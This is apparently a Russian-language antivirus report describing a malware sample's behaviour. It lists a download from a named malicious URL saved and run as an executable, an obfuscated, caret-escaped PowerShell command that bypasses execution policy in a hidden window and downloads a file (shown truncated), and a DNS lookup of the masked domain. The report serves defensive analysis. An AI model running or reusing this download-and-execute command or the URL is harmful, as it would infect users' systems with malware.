Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://www.doorasope.top/read.php?f=1.gif как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "PO^w^e^Rs^hElL.e^xe -ex^ECUTi^onPOlIc^Y bY^PAsS ^-^N^OPRO^fI^l^E ^-WiN^DOWs^tyl^e^ ^hI^dd^eN (ne^w-OBJ^eC^T^ ^sYSTeM^.n^et.wE^BCLIen^T^)^.do^wnl^oaDFil^E^('http://www....
Сетевая активность
UDP
- DNS ASK do###sope.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "PO^w^e^Rs^hElL.e^xe -ex^ECUTi^onPOlIc^Y bY^PAsS ^-^N^OPRO^fI^l^E ^-WiN^DOWs^tyl^e^ ^hI^dd^eN (ne^w-OBJ^eC^T^ ^sYSTeM^.n^et.wE^BCLIen^T^)^.do^wnl^oaDFil^E^('http://www....' (со скрытым окном)
